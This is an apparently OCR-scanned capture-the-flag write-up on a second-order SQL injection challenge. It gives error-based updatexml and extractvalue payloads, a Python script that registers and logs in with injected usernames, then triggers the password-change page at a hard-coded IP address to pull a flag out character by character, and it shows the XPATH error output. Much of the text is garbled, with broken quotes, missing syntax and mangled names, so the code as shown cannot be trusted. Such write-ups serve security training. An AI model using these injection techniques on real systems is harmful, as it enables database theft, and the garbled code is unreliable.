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https://www.jianshu.com/p/3fe7904683ac

username: 'k3vin"/

password: k3vin

email: k3vin
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| Submit |

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ""1*" and

pwd="'e10adc3949ba59abbe56e057f20f883e" at line 1

B W 51 payload:

1" | |extractvalue(1,concat(@x7e, (select(database()))))%23

HiE LA,

import requests

url_reg = 'http://111.200.241.244:47230/register.php’
url log = 'http://111.200.241.244:47230/1ogin.php"
url _change = 'http://111.200.241.244:47230/changepwd.php’

pre = 'k3vin"'
#BFHE
suf = "")))),1))#"

#IE/FHE
#suf = "'))),1))#"

s = 'abcdefghijklmnopgrstuvwxyz1234567890"
s = list(s)

r = requests.session()

def register(name):
data = {



‘username’ name
'password"’ ‘123"
'email’ '123"

r.post(url=url_reg, data=data

def login(name
data =
‘username’ name

'password"’ ‘123"

r.post(url=url log, data=data

def changepwd
data =
'oldpass’

'newpass’

kk = r.post(url=url_change, data=data
if 'XPATH' in kk.text
print(kk.text

for i in s
#IE/7
#paylaod = pre + "|[[|(updatexml(1,concat(0x3a, (select(group concat(real flag 1s here))from(users)where(real f

Lag 1s here)regexp('" + 1 + suf
#ITF
paylaod = pre + "||(updatexml(1,concat(@x3a,reverse((select(group_concat(real_flag 1s_here))from(users)where

(real_flag 1s_here)regexp( + 1 + suf
register(paylaod
login(paylaod

changepwd

#IE/Fpayload

#paylaod = pre + "[[(updatexml(1,concat(@x3a, (select(group_concat(real flag 1s here))from(users)where(real flag_
1s _here)regexp('" + 1 + "'))),1))#"

#¥/Fpayload

#paylaod = pre + "[[(updatexml (1, concat(@x3a,reverse((select(group concat(real flag 1s_here))from(users)where(re
al_flag 1s here)regexp('" + 1 + "')))),1))#"

SR

method;"past">(p>oldpass: <input type="text" name=
/p><p>newpass: <input type="text" name="newpass" /></

<form action=

.

"oldpass" />

p><input type="submit" value="Submit" /></form>XPATH syntax error:
':}6666_n4f_si_n@itcejnl_lgs{FTCR'

<form action="" method="post"><p>oldpass. <input type="text" name=
"oldpass" /></p><p>newpass: <input type="text" name="newpass" /></
p><input type="submit" value="Submit" /></form>XPATH syntax error:

':16666_n4f_si_n@itcejnl_lgs{FTCR'
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